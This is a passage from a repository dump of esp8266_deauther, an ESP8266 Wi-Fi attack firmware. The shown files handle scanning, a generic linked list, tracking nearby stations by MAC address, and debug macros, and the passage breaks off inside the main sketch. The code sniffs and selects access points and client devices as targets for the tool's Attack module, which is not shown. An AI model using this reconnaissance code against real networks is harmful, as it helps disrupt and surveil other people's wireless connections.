prntln(FILE_PATH);\n}\n\nuint32_t Scan::countSelected() {\n    return accesspoints.selected() + stations.selected() + names.selected();\n}\n\nuint32_t Scan::countAll() {\n    return accesspoints.count() + stations.count() + names.count();\n}\n\nbool Scan::isScanning() {\n    return scanMode != SCAN_MODE_OFF;\n}\n\nbool Scan::isSniffing() {\n    return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;\n}\n\nuint8_t Scan::getPercentage() {\n    if (!isSniffing()) return 0;\n\n    return (currentTime - snifferStartTime) / (sniffTime / 100);\n}\n\nvoid Scan::selectAll() {\n    accesspoints.selectAll();\n    stations.selectAll();\n    names.selectAll();\n}\n\nvoid Scan::deselectAll() {\n    accesspoints.deselectAll();\n    stations.deselectAll();\n    names.deselectAll();\n}\n\nvoid Scan::printAll() {\n    accesspoints.printAll();\n    stations.printAll();\n    names.printAll();\n    ssids.printAll();\n}\n\nvoid Scan::printSelected() {\n    accesspoints.printSelected();\n    stations.printSelected();\n    names.printSelected();\n}\n\nuint32_t Scan::getPackets(int i) {\n    if (list->size() < SCAN_PACKET_LIST_SIZE) {\n        uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();\n\n        if (i >= translatedNum) return list->get(i - translatedNum);\n\n        return 0;\n    } else {\n        return list->get(i);\n    }\n}\n\nString Scan::getMode() {\n    switch (scanMode) {\n        case SCAN_MODE_OFF:\n            return str(SC_MODE_OFF);\n\n        case SCAN_MODE_APS:\n            return str(SC_MODE_AP);\n\n        case SCAN_MODE_STATIONS:\n            return str(SC_MODE_ST);\n\n        case SCAN_MODE_ALL:\n            return str(SC_MODE_ALL);\n\n        case SCAN_MODE_SNIFFER:\n            return str(SC_MODE_SNIFFER);\n\n        default:\n            return String();\n    }\n}\n\ndouble Scan::getScaleFactor(uint8_t height) {\n    return (double)height / (double)getMaxPacket();\n}\n\nuint32_t Scan::getMaxPacket() {\n    uint16_t max = 0;\n\n    for (uint8_t i = 0; i < list->size(); i++) {\n        if (list->get(i) > max) max = list->get(i);\n    }\n    return max;\n}\n\nuint32_t Scan::getPacketRate() {\n    return list->get(list->size() - 1);\n}"
  },
  {
    "path": "esp8266_deauther/Scan.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include \"Accesspoints.h\"\n#include \"Stations.h\"\n#include \"Names.h\"\n#include \"SSIDs.h\"\n#include \"language.h\"\n#include \"SimpleList.h\"\n\n#define SCAN_MODE_OFF 0\n#define SCAN_MODE_APS 1\n#define SCAN_MODE_STATIONS 2\n#define SCAN_MODE_ALL 3\n#define SCAN_MODE_SNIFFER 4\n#define SCAN_DEFAULT_TIME 15000\n#define SCAN_DEFAULT_CONTINUE_TIME 10000\n#define SCAN_PACKET_LIST_SIZE 64\n\nextern Accesspoints accesspoints;\nextern Stations     stations;\nextern Names names;\nextern SSIDs ssids;\n\nextern uint8_t wifiMode;\n\nextern void setWifiChannel(uint8_t ch, bool force);\nextern bool appendFile(String path, String& buf);\nextern bool writeFile(String path, String& buf);\nextern void readFileToSerial(const String path);\nextern String escape(String str);\n\nclass Scan {\n    public:\n        Scan();\n\n        void sniffer(uint8_t* buf, uint16_t len);\n        void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);\n        void start(uint8_t mode);\n\n        void setup();\n        void update();\n        void stop();\n        void save(bool force);\n        void save(bool force, String filePath);\n\n        void selectAll();\n        void deselectAll();\n        void printAll();\n        void printSelected();\n\n        uint8_t getPercentage();\n        uint32_t getPackets(int i);\n        uint32_t countAll();\n        uint32_t countSelected();\n        bool isScanning();\n        bool isSniffing();\n\n        void nextChannel();\n        void setChannel(uint8_t newChannel);\n\n        String getMode();\n        double getScaleFactor(uint8_t height);\n        uint32_t getMaxPacket();\n        uint32_t getPacketRate();\n\n        uint16_t deauths = 0;\n        uint16_t packets = 0;\n\n    private:\n        SimpleList<uint16_t>* list;                      // packet list\n\n        uint32_t sniffTime          = SCAN_DEFAULT_TIME; // how long the scan runs\n        uint32_t snifferStartTime   = 0;                 // when the scan started\n        uint32_t snifferOutputTime  = 0;                 // last info output (every 3s)\n        uint32_t snifferChannelTime = 0;                 // last time the channel was changed\n        uint32_t snifferPacketTime  = 0;                 // last time the packet rate was reseted (every 1s)\n\n        uint8_t scanMode = 0;\n\n        uint8_t scan_continue_mode = 0;                          // restart mode after scan stopped\n        uint32_t continueTime      = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts\n        uint32_t continueStartTime = 0;                          // when scan restarted\n\n        bool channelHop     = true;\n        uint16_t tmpDeauths = 0;\n\n        bool apWithChannel(uint8_t ch);\n        int findAccesspoint(uint8_t* mac);\n\n        String FILE_PATH = \"/scan.json\";\n};"
  },
  {
    "path": "esp8266_deauther/SimpleList.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include <type_traits>\n#include <cstddef>\n#include <functional>\n\ntemplate<class T>\nstruct SimpleListNode {\n    T                  data;\n    SimpleListNode<T>* next = NULL;\n};\n\ntemplate<typename T>\nclass SimpleList {\n    public:\n        SimpleList();\n        SimpleList(int(*compare)(T & a, T & b));\n        virtual ~SimpleList();\n\n        virtual void setCompare(int (* compare)(T& a, T& b));\n\n        virtual int size();\n        virtual bool isSorted();\n        virtual bool isEmpty();\n\n        virtual void add(int index, T obj);\n        virtual void add(T obj);\n        virtual void insert(T obj);\n\n        virtual void replace(int index, T obj);\n        virtual void swap(int x, int y);\n\n        virtual void remove(int index);\n        virtual void removeFirst();\n        virtual void removeLast();\n\n        virtual bool has(T obj);\n        virtual int count(T obj);\n\n        virtual T shift();\n        virtual T pop();\n        virtual T get(int index);\n        virtual T getFirst();\n        virtual T getLast();\n\n        virtual void moveToEnd();\n\n        virtual int search(T obj);\n        virtual int searchNext(T obj);\n        virtual int binSearch(T obj);\n\n        virtual void sort();\n        virtual void clear();\n\n    protected:\n        int (* compare)(T& a, T& b) = NULL;\n\n        int listSize                 = 0;\n        SimpleListNode<T>* listBegin = NULL;\n        SimpleListNode<T>* listEnd   = NULL;\n\n        // Helps get() method by saving last position\n        SimpleListNode<T>* lastNodeGot = NULL;\n        int lastIndexGot               = -1;\n        bool isCached                  = false;\n\n        bool sorted = true;\n\n        virtual SimpleListNode<T>* getNode(int index);\n        virtual int binSearch(T obj, int lowerEnd, int upperEnd);\n};\n\ntemplate<typename T>\nSimpleList<T>::SimpleList() {}\n\ntemplate<typename T>\nSimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {\n    setCompare(compare);\n}\n\n// Clear Nodes and free Memory\ntemplate<typename T>\nSimpleList<T>::~SimpleList() {\n    clear();\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {\n    this->compare = compare;\n    sort();\n}\n\ntemplate<typename T>\nSimpleListNode<T>* SimpleList<T>::getNode(int index) {\n    if ((index < 0) || (index >= listSize)) return NULL;\n\n    SimpleListNode<T>* hNode = listBegin;\n    int c                    = 0;\n\n    if (isCached && (index >= lastIndexGot)) {\n        c     = lastIndexGot;\n        hNode = lastNodeGot;\n    }\n\n    while (hNode && c < index) {\n        hNode = hNode->next;\n        c++;\n    }\n\n    if (hNode) {\n        isCached     = true;\n        lastIndexGot = c;\n        lastNodeGot  = hNode;\n    }\n\n    return hNode;\n}\n\ntemplate<typename T>\nint SimpleList<T>::size() {\n    return listSize;\n}\n\ntemplate<typename T>\nbool SimpleList<T>::isSorted() {\n    return sorted;\n}\n\ntemplate<typename T>\nbool SimpleList<T>::isEmpty() {\n    return listSize == 0;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::add(T obj) {\n    // create new node\n    SimpleListNode<T>* newNode = new SimpleListNode<T>();\n\n    newNode->data = obj;\n\n    if (!listBegin) listBegin = newNode;\n\n    if (listEnd) {\n        listEnd->next = newNode;\n        listEnd       = newNode;\n    } else {\n        listEnd = newNode;\n    }\n\n    listSize++;\n    sorted = false;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::add(int index, T obj) {\n    if ((index < 0) || (index >= listSize)) {\n        return;\n    }\n\n    SimpleListNode<T>* newNode = new SimpleListNode<T>();\n\n    newNode->data = obj;\n\n    if (index == 0) {\n        listBegin = newNode;\n    } else {\n        SimpleListNode<T>* nodePrev = getNode(index - 1);\n        newNode->next  = nodePrev->next;\n        nodePrev->next = newNode;\n    }\n\n    listSize++;\n    sorted = false;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::insert(T obj) {\n    if (!compare) {\n        add(obj);\n        return;\n    }\n\n    if (!sorted) sort();\n\n    // create new node\n    SimpleListNode<T>* newNode = new SimpleListNode<T>();\n\n    newNode->data = obj;\n\n    if (listSize == 0) {\n        // add at start (first node)\n        listBegin = newNode;\n\n        listEnd = newNode;\n    } else {\n        if (compare(obj, listEnd->data) >= 0) {\n            // add at end\n            listEnd->next = newNode;\n            listEnd       = newNode;\n        } else if (compare(obj, listBegin->data) < 0) {\n            // add at start\n            newNode->next = listBegin;\n            listBegin     = newNode;\n        } else {\n            // insertion sort\n            SimpleListNode<T>* h = listBegin;\n            SimpleListNode<T>* p = NULL;\n            bool found           = false;\n\n            // here a sequential search, because otherwise the previous node couldn't be accessed\n            while (h && !found) {\n                if (compare(obj, h->data) < 0) {\n                    found = true;\n                } else {\n                    p = h;\n                    h = h->next;\n                }\n            }\n            newNode->next = h;\n\n            if (p) p->next = newNode;\n        }\n    }\n\n    listSize++;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::replace(int index, T obj) {\n    if ((index >= 0) && (index < listSize)) {\n        getNode(index)->data = obj;\n    }\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::swap(int x, int y) {\n    // only continue when the index numbers are unequal and at least 0\n    if ((x != y) && (x >= 0) && (y >= 0)) {\n        if (x > y) { // the first index should be smaller than the second. If not, swap them!\n            int h = x;\n            x = y;\n            y = h;\n        }\n\n        // When data is small, copy it\n        if (sizeof(T) < 24) {\n            SimpleListNode<T>* nodeA = getNode(x);\n            SimpleListNode<T>* nodeB = getNode(y);\n            T h                      = nodeA->data;\n            nodeA->data = nodeB->data;\n            nodeB->data = h;\n        }\n\n        // otherwise change the pointers\n        else {\n            // Example: a -> b -> c -> ... -> g -> h -> i\n            //          we want to swap b with h\n            SimpleListNode<T>* nodeA = getNode(x - 1);                      // x.prev\n            SimpleListNode<T>* nodeB = getNode(x);                          // x\n            SimpleListNode<T>* nodeC = getNode(x + 1);                      // x.next\n            SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev\n            SimpleListNode<T>* nodeH = getNode(y);                          // y\n            SimpleListNode<T>* nodeI = getNode(y + 1);                      // y.next\n\n            // a -> h -> i      b -> c -> ... -> g -> h -> i\n            if (nodeA) nodeA->next = nodeH;\n            else listBegin = nodeH;\n\n            // a -> h -> c -> ... -> g -> h -> i    b -> i\n            if (nodeH != nodeC) // when nodes between b and h exist\n                nodeH->next = nodeC;\n            else nodeH->next = nodeB;\n\n            // a -> h -> i      b -> i\n            nodeB->next = nodeI;\n\n            if (!nodeI) listEnd = nodeB;\n\n            // a -> h -> c -> ... -> g -> b -> i\n            if (nodeG != nodeB) // when more than 1 nodes between b and h exist\n                nodeG->next = nodeB;\n        }\n    }\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::remove(int index) {\n    if ((index < 0) || (index >= listSize)) return;\n\n    SimpleListNode<T>* nodePrev     = getNode(index - 1);\n    SimpleListNode<T>* nodeToDelete = getNode(index);\n\n    if (index == 0) {\n        listBegin = nodeToDelete->next;\n    } else {\n        nodePrev->next = nodeToDelete->next;\n\n        if (!nodePrev->next) listEnd = nodePrev;\n    }\n\n    delete nodeToDelete;\n\n    isCached = false;\n\n    listSize--;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::removeFirst() {\n    remove(0);\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::removeLast() {\n    remove(listSize - 1);\n}\n\ntemplate<typename T>\nbool SimpleList<T>::has(T obj) {\n    return binSearch(obj) >= 0;\n}\n\ntemplate<typename T>\nint SimpleList<T>::count(T obj) {\n    if (compare == NULL) return -1;\n\n    int c = 0;\n\n    for (int i = 0; i < listSize; i++) {\n        if (compare(obj, getNode(i)->data) == 0) c++;\n    }\n\n    return c;\n}\n\ntemplate<typename T>\nT SimpleList<T>::get(int index) {\n    SimpleListNode<T>* h = getNode(index);\n\n    if (h) return h->data;\n\n    return T();\n}\n\ntemplate<typename T>\nT SimpleList<T>::getFirst() {\n    return get(0);\n}\n\ntemplate<typename T>\nT SimpleList<T>::getLast() {\n    return get(listSize - 1);\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::moveToEnd() {\n    SimpleListNode<T>* h = listBegin;\n\n    if (!h) return;\n\n    listBegin     = listBegin->next;\n    listEnd->next = h;\n\n    h->next = NULL;\n    listEnd = h;\n\n    lastNodeGot  = NULL;\n    lastIndexGot = -1;\n    isCached     = false;\n\n    sorted = false;\n}\n\ntemplate<typename T>\nint SimpleList<T>::search(T obj) {\n    if (compare == NULL) return -1;\n\n    int i = 0;\n\n    SimpleListNode<T>* hNode = getNode(i);\n    bool found               = compare(obj, hNode->data) == 0;\n\n    while (!found && i < listSize) {\n        i++;\n        hNode = getNode(i);\n        found = compare(obj, hNode->data) == 0;\n    }\n\n    return found ? i : -1;\n}\n\ntemplate<typename T>\nint SimpleList<T>::searchNext(T obj) {\n    if (compare == NULL) return -1;\n\n    int i = lastIndexGot;\n\n    SimpleListNode<T>* hNode = lastNodeGot;\n    bool found               = compare(obj, hNode->data) == 0;\n\n    while (!found && i < listSize) {\n        i++;\n        hNode = getNode(i);\n        found = compare(obj, hNode->data) == 0;\n    }\n\n    return found ? i : -1;\n}\n\ntemplate<typename T>\nint SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {\n    if (!compare || !sorted) return search(obj);\n\n    if (!listBegin) return -1;\n\n    int res;\n    int mid = (lowerEnd + upperEnd) / 2;\n\n    SimpleListNode<T>* hNode = getNode(0);\n    int hIndex               = 0;\n\n    while (lowerEnd <= upperEnd) {\n        hNode  = lastNodeGot;\n        hIndex = lastIndexGot;\n        res    = compare(obj, getNode(mid)->data);\n\n        if (res == 0) {\n            return mid;\n        } else if (res < 0) {\n            // when going left, set cached node back to previous cached node\n            lastNodeGot  = hNode;\n            lastIndexGot = hIndex;\n            isCached     = true;\n\n            upperEnd = mid - 1;\n            mid      = (lowerEnd + upperEnd) / 2;\n        } else if (res > 0) {\n            lowerEnd = mid + 1;\n            mid      = (lowerEnd + upperEnd) / 2;\n        }\n    }\n\n    return -1;\n}\n\ntemplate<typename T>\nint SimpleList<T>::binSearch(T obj) {\n    return binSearch(obj, 0, listSize - 1);\n}\n\ntemplate<typename T>\nT SimpleList<T>::pop() {\n    T data = getLast();\n\n    removeLast();\n\n    return data;\n}\n\ntemplate<typename T>\nT SimpleList<T>::shift() {\n    T data = getFirst();\n\n    removeFirst();\n\n    return data;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::clear() {\n    while (listSize > 0) removeFirst();\n\n    listSize  = 0;\n    listBegin = NULL;\n    listEnd   = NULL;\n\n    lastNodeGot  = NULL;\n    lastIndexGot = -1;\n    isCached     = false;\n\n    sorted = true;\n}\n\ntemplate<typename T>\nvoid SimpleList<T>::sort() {\n    if (compare == NULL) return;\n\n    // selection sort (less swaps than insertion sort)\n\n    int indexH;                 // index of node i\n    int indexMin;               // index of next minimum node\n\n    SimpleListNode<T>* nodeMin; // next minimum node\n    SimpleListNode<T>* nodeH;   // helper node at index j\n\n    for (int i = 0; i < listSize - 1; i++) {\n        nodeMin  = getNode(i);\n        indexH   = i;\n        indexMin = i;\n\n        for (int j = i + 1; j < listSize; j++) {\n            nodeH = getNode(j);\n\n            if (compare(nodeMin->data, nodeH->data) > 0) {\n                nodeMin  = nodeH;\n                indexMin = j;\n            }\n        }\n        swap(indexH, indexMin);\n    }\n\n    this->sorted = true;\n}"
  },
  {
    "path": "esp8266_deauther/Stations.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Stations.h\"\n\nStations::Stations() {\n    list = new SimpleList<Station>();\n}\n\nvoid Stations::add(uint8_t* mac, int accesspointNum) {\n    int stationNum = findStation(mac);\n\n    if (stationNum < 0) {\n        internal_add(mac, accesspointNum);\n        // print(list->size() - 1, list->size() == 1, false);\n    } else {\n        *getPkts(stationNum) += 1;\n        *getTime(stationNum)  = currentTime;\n    }\n    changed = true;\n}\n\nint Stations::findStation(uint8_t* mac) {\n    int c = count();\n\n    for (int i = 0; i < c; i++) {\n        if (memcmp(getMac(i), mac, 6) == 0) return i;\n    }\n    return -1;\n}\n\nvoid Stations::sort() {\n    list->setCompare([](Station& a, Station& b) -> int {\n        if (*(a.pkts) > *(b.pkts)) return -1;\n\n        if (*(a.pkts) == *(b.pkts)) return 0;\n\n        return 1;\n    });\n    list->sort();\n}\n\nvoid Stations::sortAfterChannel() {\n    list->setCompare([](Station& a, Station& b) -> int {\n        if (a.ch < b.ch) return -1;\n\n        if (a.ch == b.ch) return 0;\n\n        return 1;\n    });\n    list->sort();\n}\n\nvoid Stations::removeAll() {\n    internal_removeAll();\n    prntln(ST_CLEARED_LIST);\n    changed = true;\n}\n\nvoid Stations::removeOldest() {\n    int oldest = 0;\n    int c      = count();\n\n    for (int i = 1; i < c; i++) {\n        if (*getTime(i) > *getTime(oldest)) oldest = i;\n    }\n    internal_remove(oldest);\n    changed = true;\n}\n\nvoid Stations::printAll() {\n    prntln(ST_HEADER);\n    int c = count();\n\n    if (c == 0) prntln(ST_LIST_EMPTY);\n    else\n        for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);\n}\n\nvoid Stations::printSelected() {\n    prntln(ST_HEADER);\n    int max = selected();\n    int c   = count();\n\n    if (max == 0) {\n        prntln(ST_NO_DEVICES_SELECTED);\n        return;\n    }\n\n    for (int i = 0, j = 0; i < c && j < max; i++) {\n        if (getSelected(i)) {\n            print(i, j == 0, j == max - 1);\n            j++;\n        }\n    }\n}\n\nvoid Stations::print(int num) {\n    print(num, true, true);\n}\n\nvoid Stations::print(int num, bool header, bool footer) {\n    if (!check(num)) return;\n\n    if (header) {\n        prntln(ST_TABLE_HEADER);\n        prntln(ST_TABLE_DIVIDER);\n    }\n\n    prnt(leftRight(String(), (String)num, 2));\n    prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));\n    prnt(leftRight(String(SPACE), (String)getCh(num), 3));\n    prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));\n    prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));\n    prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));\n    prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));\n    prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));\n    prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));\n\n    if (footer) prntln(ST_TABLE_DIVIDER);\n}\n\nString Stations::getAPStr(int num) {\n    if (getAP(num) < 0) return String();\n\n    return accesspoints.getSSID(getAP(num));\n}\n\nuint8_t* Stations::getAPMac(int num) {\n    if (!check(num)) return 0;\n\n    return WiFi.BSSID(list->get(num).ap);\n}\n\nString Stations::getAPMacStr(int num) {\n    if (!check(num)) return String();\n\n    uint8_t* mac = getAPMac(num);\n\n    return bytesToStr(mac, 6);\n}\n\nint Stations::getAP(int num) {\n    if (!check(num)) return -1;\n\n    return accesspoints.find(list->get(num).ap);\n}\n\nString Stations::getNameStr(int num) {\n    if (!check(num)) return String();\n\n    return names.find(getMac(num));\n}\n\nbool Stations::hasName(int num) {\n    if (!check(num)) return false;\n\n    return names.findID(getMac(num)) >= 0;\n}\n\nuint8_t* Stations::getMac(int num) {\n    if (!check(num)) return 0;\n\n    return list->get(num).mac;\n}\n\nString Stations::getMacStr(int num) {\n    if (!check(num)) return String();\n\n    uint8_t* mac = getMac(num);\n\n    return bytesToStr(mac, 6);\n}\n\nString Stations::getMacVendorStr(int num) {\n    String value;\n\n    if (check(num)) {\n        value = getVendorStr(num) + \":\";\n        uint8_t* mac = getMac(num);\n\n        for (int i = 3; i < 6; i++) {\n            if (mac[i] < 0x10) value += \"0\";\n            value += String(mac[i], HEX);\n\n            if (i < 5) value += \":\";\n        }\n    }\n    return value;\n}\n\nString Stations::getVendorStr(int num) {\n    if (!check(num)) return String();\n\n    return searchVendor(list->get(num).mac);\n}\n\nString Stations::getSelectedStr(int num) {\n    return b2a(getSelected(num));\n}\n\nuint32_t* Stations::getPkts(int num) {\n    if (!check(num)) return NULL;\n\n    return list->get(num).pkts;\n}\n\nuint32_t* Stations::getTime(int num) {\n    if (!check(num)) return NULL;\n\n    return list->get(num).time;\n}\n\nString Stations::getTimeStr(int num) {\n    if (!check(num)) return String();\n\n    uint32_t difference = currentTime - *getTime(num);\n\n    if (difference < 1000) return str(ST_SMALLER_ONESEC);\n    else if (difference < 60000) return str(ST_SMALLER_ONEMIN);\n    else {\n        uint32_t minutes = difference / 60000;\n\n        if (minutes > 60) return str(ST_BIGER_ONEHOUR);\n        else return (String)minutes + str(STR_MIN);\n    }\n}\n\nbool Stations::getSelected(int num) {\n    if (!check(num)) return false;\n\n    return list->get(num).selected;\n}\n\nuint8_t Stations::getCh(int num) {\n    if (!check(num)) return 0;\n\n    return list->get(num).ch;\n}\n\nvoid Stations::select(int num) {\n    if (!check(num)) return;\n\n    internal_select(num);\n    prnt(ST_SELECTED_STATION);\n    prntln(num);\n    changed = true;\n}\n\nvoid Stations::deselect(int num) {\n    if (!check(num)) return;\n\n    internal_deselect(num);\n    prnt(ST_DESELECTED_STATION);\n    prntln(num);\n    changed = true;\n}\n\nvoid Stations::remove(int num) {\n    if (!check(num)) return;\n\n    prnt(ST_REMOVED_STATION);\n    prntln(num);\n\n    internal_remove(num);\n    changed = true;\n}\n\nvoid Stations::select(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);\n    }\n}\n\nvoid Stations::deselect(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);\n    }\n}\n\nvoid Stations::remove(String ssid) {\n    for (int i = 0; i < list->size(); i++) {\n        if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);\n    }\n}\n\nvoid Stations::selectAll() {\n    for (int i = 0; i < count(); i++) internal_select(i);\n    prntln(ST_SELECTED_ALL);\n    changed = true;\n}\n\nvoid Stations::deselectAll() {\n    for (int i = 0; i < count(); i++) internal_deselect(i);\n    prntln(ST_DESELECTED_ALL);\n    changed = true;\n}\n\nint Stations::count() {\n    return list->size();\n}\n\nint Stations::selected() {\n    int num = 0;\n\n    for (int i = 0; i < count(); i++)\n        if (getSelected(i)) num++;\n    return num;\n}\n\nbool Stations::check(int num) {\n    if (internal_check(num)) {\n        return true;\n    } else {\n        prnt(ST_ERROR_ID);\n        prntln(num);\n        return false;\n    }\n}\n\nbool Stations::internal_check(int num) {\n    return num >= 0 && num < count();\n}\n\nvoid Stations::internal_select(int num) {\n    Station changedStation = list->get(num);\n\n    changedStation.selected = true;\n    list->replace(num, changedStation);\n}\n\nvoid Stations::internal_deselect(int num) {\n    Station changedStation = list->get(num);\n\n    changedStation.selected = false;\n    list->replace(num, changedStation);\n}\n\nvoid Stations::internal_remove(int num) {\n    free(getMac(num));\n    free(getPkts(num));\n    free(getTime(num));\n    list->remove(num);\n}\n\nvoid Stations::internal_add(uint8_t* mac, int accesspointNum) {\n    if (count() >= STATION_LIST_SIZE) removeOldest();\n\n    Station newStation;\n\n    newStation.ap       = accesspointNum;\n    newStation.ch       = wifi_channel;\n    newStation.mac      = (uint8_t*)malloc(6);\n    newStation.pkts     = (uint32_t*)malloc(sizeof(uint32_t));\n    newStation.time     = (uint32_t*)malloc(sizeof(uint32_t));\n    newStation.selected = false;\n\n    memcpy(newStation.mac, mac, 6);\n    *newStation.pkts = 1;\n    *newStation.time = currentTime;\n\n    list->add(newStation);\n}\n\nvoid Stations::internal_removeAll() {\n    int c = count();\n\n    for (int i = 0; i < c; i++) {\n        free(getMac(i));\n        free(getPkts(i));\n        free(getTime(i));\n    }\n    list->clear();\n}"
  },
  {
    "path": "esp8266_deauther/Stations.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"language.h\"\n#include \"SimpleList.h\"\n#include \"Accesspoints.h\"\n#include \"Names.h\"\n\n#define STATION_LIST_SIZE 60\nextern Accesspoints accesspoints;\nextern Names    names;\nextern uint8_t  wifi_channel;\nextern uint32_t currentTime;\n\nextern String searchVendor(uint8_t* mac);\nextern bool macMulticast(uint8_t* mac);\nextern bool macValid(uint8_t* mac);\nextern bool macBroadcast(uint8_t* mac);\nextern String bytesToStr(const uint8_t* b, uint32_t size);\n\nclass Stations {\n    public:\n        Stations();\n\n        void sort();\n        void sortAfterChannel();\n\n        void select(int num);\n        void deselect(int num);\n        void remove(int num);\n\n        void select(String ssid);\n        void deselect(String ssid);\n        void remove(String ssid);\n\n        void add(uint8_t* mac, int accesspointNum);\n\n        void selectAll();\n        void deselectAll();\n        void removeAll();\n        void removeOldest();\n\n        String getNameStr(int num);\n        String getAPStr(int num);\n        String getMacStr(int num);\n        String getMacVendorStr(int num);\n        String getVendorStr(int num);\n        String getTimeStr(int num);\n        String getSelectedStr(int num);\n        uint8_t* getAPMac(int num);\n        String getAPMacStr(int num);\n        uint8_t* getMac(int num);\n        uint32_t* getPkts(int num);\n        uint32_t* getTime(int num);\n        uint8_t getCh(int num);\n        int getAP(int num);\n        bool getSelected(int num);\n        bool hasName(int num);\n\n        void print(int num);\n        void print(int num, bool header, bool footer);\n        void printAll();\n        void printSelected();\n\n        int count();\n        int selected();\n\n        bool check(int num);\n        bool changed = false;\n\n    private:\n        struct Station {\n            uint8_t   ap;\n            uint8_t   ch;\n            uint8_t * mac;\n            uint32_t* pkts;\n            uint32_t* time;\n            bool      selected;\n        };\n\n        SimpleList<Station>* list;\n\n        int findStation(uint8_t* mac);\n        int findAccesspoint(uint8_t* mac);\n\n        bool internal_check(int num);\n        void internal_select(int num);\n        void internal_deselect(int num);\n        void internal_add(uint8_t* mac, int accesspointNum);\n        void internal_remove(int num);\n        void internal_removeAll();\n};"
  },
  {
    "path": "esp8266_deauther/debug.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"config.h\"\n\n#include <climits>   // LONG_MAX\n#include <Arduino.h> // Serial\n\n#ifdef ENABLE_DEBUG\n\n#define debug_init()\\\n    DEBUG_PORT.begin(DEBUG_BAUD);\\\n    DEBUG_PORT.setTimeout(LONG_MAX);\\\n    DEBUG_PORT.println();\n\n#define debug(...) DEBUG_PORT.print(__VA_ARGS__)\n#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)\n#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)\n#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))\n#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))\n\n#define debug_available() DEBUG_PORT.available()\n#define debug_read() DEBUG_PORT.read()\n#define debug_peek() DEBUG_PORT.peek()\n\n#else /* ifdef ENABLE_DEBUG */\n\n#define debug_init() 0\n\n#define debug(...) 0\n#define debugln(...) 0\n#define debugf(...) 0\n#define debugF(...) 0\n#define debuglnF(...) 0\n\n#define debug_available() 0\n#define debug_read() 0\n#define debug_peek() 0\n\n#endif /* ifdef ENABLE_DEBUG */"
  },
  {
    "path": "esp8266_deauther/esp8266_deauther.ino",
    "content": "/* =====================\n   This software is licensed under the MIT License:\n   https://github.com/spacehuhntech/esp8266_deauther\n   ===================== */\n\nextern \"C\" {\n    // Please follow this tutorial:\n    // https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide\n    // And be sure to have the right board selected\n  #include \"user_interface.h\"\n}\n\n#include \"EEPROMHelper.h\"\n\n#include \"src/ArduinoJson-v5.13.5/ArduinoJson.h\"\n#if ARDUINOJSON_VERSION_MAJOR != 5\n// The software was build using ArduinoJson v5.x\n// version 6 is still in beta at the time of writing\n// go to tools -> manage libraries, search for ArduinoJSON and install version 5\n#error Please upgrade/downgrade ArduinoJSON library to version 5!\n#endif // if ARDUINOJSON_VERSION_MAJOR != 5\n\n#include \"oui.h\"\n#include \"language.h\"\n#include \"functions.h\"\n#include \"settings.h\"\n#include \"Names.h\"\n#include \"SSIDs.h\"\n#include \"Scan.h\"\n#include \"Attack.h\"\n#include \"CLI.h\"\n#include \"DisplayUI.h\"\n#include \"A_config.h\"\n\n#include \"led.h\"\n\n// Run-Time Variables //\nNames names;\nSSIDs ssids;\nAccesspoints accesspoints;\nStations     stations;\nScan   scan;\nAttack attack;\nCLI    cli;\nDisplayUI displayUI;\n\nsimplebutton::Button* resetButton;\n\n#include \"wifi.h\"\n\nuint32_t autosaveTime = 0;\nuint32_t currentTime  = 0;\n\nbool booted = false;\n\nvoid setup() {\n    // for random generator\n    randomSeed(os_random());\n\n    // start serial\n    Serial.begin(115200);\n    Serial.println();\n\n    // start SPIFFS\n    prnt(SETUP_MOUNT_SPIFFS);\n    // bool spiffsError = !LittleFS.begin();\n    LittleFS.begin();\n    prntln(/*spiffsError ? SETUP_ERROR : */ SETUP_OK);\n\n    // Start EEPROM\n    EEPROMHelper::begin(EEPROM_SIZE);\n\n#ifdef 